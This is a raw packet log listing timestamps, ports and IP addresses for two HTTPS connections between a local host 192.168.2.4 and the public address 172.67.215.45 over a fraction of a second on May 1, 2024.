May 1, 2024 08:37:54.472002983 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.472018957 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.472064018 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.472068071 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.472107887 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.472315073 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.472346067 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.472383022 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.472389936 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.472414970 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.472434998 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.472933054 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.472949028 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.472999096 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.473002911 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.473037958 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.473838091 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.473851919 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.473905087 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.473908901 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.473942041 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.474103928 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.474123955 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.474160910 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.474167109 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.474193096 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.474208117 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.474369049 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.474385023 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.474442005 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.474446058 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.474481106 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.475204945 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.475219965 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.475260019 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.475263119 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.475291967 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.475307941 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.476166964 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.476186037 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.476237059 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.476239920 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.476289988 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.476308107 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.476332903 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.476365089 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.476371050 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.476396084 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.476413012 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.477030039 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.477047920 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.477102041 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.477106094 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.477139950 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.478038073 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.478053093 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.478100061 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.478104115 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.478107929 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.478143930 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.478151083 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.478207111 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.478213072 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.478256941 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.479018927 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.479033947 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.479095936 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.479099035 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.479132891 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.479652882 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.479677916 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.479723930 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.479728937 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.479752064 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.479768038 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.479954958 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.479969978 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.480024099 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.480027914 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.480072975 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.480787039 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.480801105 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.480854988 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.480858088 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.480896950 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.481360912 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.481393099 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.481431007 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.481436968 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.481472015 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.481623888 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.481645107 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.481699944 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.481703043 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.481740952 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.482510090 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.482523918 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.482561111 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.482564926 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.482590914 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.482605934 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.483099937 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.483123064 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.483176947 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.483187914 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.483213902 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.483233929 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.483465910 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.483480930 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.483530045 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.483532906 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.483584881 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.484416962 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.484435081 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.484481096 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.484483957 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.484529972 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.485286951 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.485315084 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.485373974 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.485378027 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.485413074 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.485435963 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.485455990 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.485496044 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.485502958 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.485527992 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.485542059 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.486087084 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.486104965 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.486150980 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.486154079 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.486186981 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.486202955 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.486285925 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.486304045 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.486346006 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.486355066 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.486380100 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.486398935 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.487057924 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.487075090 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.487124920 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.487128973 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.487160921 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.487175941 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.487760067 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.487775087 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.487833977 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.487837076 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.487876892 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.488055944 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.488076925 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.488115072 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.488121033 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.488145113 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.488162041 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.488681078 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.488697052 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.488740921 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.488744020 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.488795996 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.489043951 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.489067078 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.489099979 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.489105940 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.489130974 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.489164114 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.489614010 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.489634991 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.489722013 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.489729881 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.489764929 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.490551949 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.490575075 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.490608931 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.490616083 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.490643978 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.490662098 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.490703106 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.490722895 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.490761042 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.490765095 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.490797043 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.490844965 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.491084099 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.491102934 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.491133928 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.491137028 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.491169930 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.491192102 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.491720915 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.491745949 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.491789103 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.491795063 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.491820097 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.491835117 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.491971970 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.491986036 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.492027044 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.492031097 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.492054939 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.492069006 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.492788076 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.492805004 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.492856979 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.492863894 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.492897987 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.493287086 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.493314028 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.493345022 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.493352890 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.493377924 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.493398905 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.493745089 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.493761063 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.493809938 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.493813992 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.493848085 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.494262934 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.494287014 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.494332075 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.494339943 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.494378090 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.494565964 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.494581938 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.494817019 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.494822025 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.494831085 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.494849920 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.494878054 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.494882107 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.494911909 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.494927883 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.495708942 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.495723963 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.495760918 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.495764971 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.495803118 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.495860100 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.495883942 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.495920897 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.495929003 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.495949030 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.495968103 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.496867895 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.496884108 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.496929884 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.496933937 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.496964931 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.497104883 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.497122049 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.497167110 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.497170925 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.497204065 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.497359991 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.497383118 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.497431040 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.497437000 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.497463942 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.497477055 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.497925997 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.497940063 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.497981071 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.497984886 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.498016119 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.498032093 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.498372078 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.498398066 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.498467922 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.498480082 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.498667002 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.498895884 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.498910904 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.498960018 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.498964071 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.498996019 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.499233007 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.499255896 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.499291897 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.499298096 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.499325991 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.499345064 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.499769926 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.499785900 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.499841928 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.499845982 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.499875069 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.500694036 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.500710964 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.500751019 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.500755072 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.500783920 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.500801086 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.500912905 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.500927925 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.500972986 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.500977039 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.501018047 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.501018047 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.501038074 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.501060963 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.501089096 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.501096964 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.501128912 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.501142979 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.501914024 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.501933098 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.501991034 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.501996994 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.502032042 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.502532005 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.502553940 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.502589941 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.502600908 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.502628088 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.502640009 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.502963066 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.502979040 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.503035069 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.503040075 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.503071070 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.503448009 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.503465891 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.503526926 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.503537893 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.503573895 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.503854036 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.503870964 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.503923893 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.503927946 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.503968000 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.504702091 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.504720926 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.504749060 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.504753113 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.504797935 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.504973888 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.504987955 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.505022049 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.505026102 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.505059004 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.505073071 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.505167961 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.505183935 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.505244017 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.505253077 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.505285978 CEST	49752	443	192.168.2.4	172.67.215.45
